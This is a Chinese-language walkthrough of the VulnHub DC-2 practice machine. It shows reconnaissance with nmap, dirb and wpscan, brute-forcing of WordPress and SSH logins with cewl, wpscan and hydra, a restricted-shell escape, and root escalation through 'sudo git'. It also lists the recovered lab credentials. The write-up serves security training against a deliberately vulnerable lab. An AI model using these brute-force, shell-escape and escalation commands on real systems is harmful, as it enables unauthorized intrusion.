前言
靶机下载地址:https://www.vulnhub.com/entry/dc-2,311/
KALI地址:192.168.1.18
靶机地址:192.168.1.33
一.信息收集
1.发现主机
使用命令如下,如下图,这里发现了靶机IP地址。
netdiscover -r 192.168.1.18
2.扫描主机
使用命令如下,发现了主机开放了80
和7744
端口其中7744
是SSH连接端口
nmap -A -T4 -O -p 0-65535 192.168.1.33
3.目录扫描
既然是网站,那么肯定是,有网站目录的,那么先二话不说直接扫描,使用命令,如下,并且如下图,发现是wordpress站点。
dirb http://192.168.1.33
4.网页信息挖掘
4.1.解决不能访问的问题
我们直接访问网站,发现重定向了到了一个域名,我们访问不了,如下图,访问IP地址会跳转到这个地址
解决办法如下,在KALI里面打卡cat /etc/hosts
文件,然后如下图设置即可
然后我们再次访问,就可以了,如下图访问成功。
4.2.挖掘wordpress用户
既然是wordpress框架,肯定少不了wpscan
的扫描,命令如下。
wpscan --url http://dc-2 -e u
扫描结果如下图,发现了admin,jerry,tom
用户。
4.3.挖掘第一个flag
经过深度挖掘,看源代码,看URL地址,查看网络文件,均没有发现东西,但是在flag这行里面发现了东西,如下图。
然后翻译如下,发现是叫我们使用cewl
这个工具,cewl这个工具的作用是生成密码,用深度爬虫来分析网站生成密码。
二.漏洞利用
1.暴力破解wordpress
经过第一个flag提示,我们使用cewl工具来生成密码,命令如下。
cewl dc-2 -w dict.txt
这句话的意思是什么呢?网站是dc-2,然后-w,把分析出来的密码,写入dict.txt里面去。
然后在加上上面我们挖掘出来的wordpress用户,我们可以把admin,jerry,tom
写入用户本里面去,如下图。
然后我们就可以使用wpscan
来暴力破解wordpress后台密码,命令如下,并且如下图成功。
wpscan --url http://dc-2 -P dict.txt -U user.txt
账户:jerry
密码:adipiscing
账户:tom
密码:parturient
就发现了两个用户,然后我们就可以尝试登录后台,根据上面目录扫描发现后台地址是/wp-admin
,首先尝试的是jerry账户,我们在文章栏里面发现了第二个flag如下图。
谷歌翻译一下,看看,翻译如下,意思是wordpress没有可以利用的点了,确实是这样,我还想找地方写一句话木马,结果没有写入点。
2.暴力破解ssh
既然wordpress没有可以利用的地方了,还有一个ssh连接点,经过测试,可以使用wordpress的账户和密码登录ssh,但是只有tom这个用户可以登录,但是如果猜想不对的话,可以暴力破解,这里暴力破解使用的工具是hydra
,命令如下。
-L 用户字典
-P 密码字典
-s 指定端口
-vV 显示详细破解信息
hydra -L user.txt -P dict.txt -s 7744 ssh://192.168.1.33 -vV
如下图,破解成功。
三.提权
直接ssh连接靶机,即可,命令如下。
ssh -p 7744 tom@192.168.1.33
如下图,连接成功,
经过,尝试,发现,很多命令不能用,所以我们直接查看环境变量,看看能用的命令,如下图,顺便发现了第三个flag,但是不能使用cat命令查看,而且查看,能使用的命令是less ls scp vi
命令全部如下。
tom@DC-2:~$ echo $PATH
/home/tom/usr/bin
tom@DC-2:~$ ls
flag3.txt test usr
tom@DC-2:~$ ls usr/bin
less ls scp vi
tom@DC-2:~$
然后我们可以尝试绕过,按照如下命令输入即可
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ export PATH=$PATH:/usr/bin
然后就可以查看第三个flag,如下图。
翻译过来如下。
可怜的老汤姆总是追着杰瑞跑。 也许他应该为他造成的所有压力感到不安
尝试了tom的很多命令,比如sudo -l用不了,那这样我们切换到jerry账户,上面没有破解成功,应该是不让远程登录。
用户:jerry
密码:adipiscing
然后登录成功,在jerry的家目录下面发现了第四个flag,如下图。
内容如下。
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
然后,这里使用命令sudo -l
查看有那些sudo命令,发现可以使用git命令提权。
GIT提权可以看这个文章👉GIT提权原理。
使用命令如下。
sudo git help add
然后输入!/bin/bash
,就可以完成提权了。
然后就可以查看最后一个flag就可以了,如下图。
四.总结
绕过命令限制可以使用
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ export PATH=$PATH:/usr/bin
然后新的暴力破解方法,hydra
。
hydra -L user.txt -P dict.txt -s 7744 ssh://192.168.1.33 -vV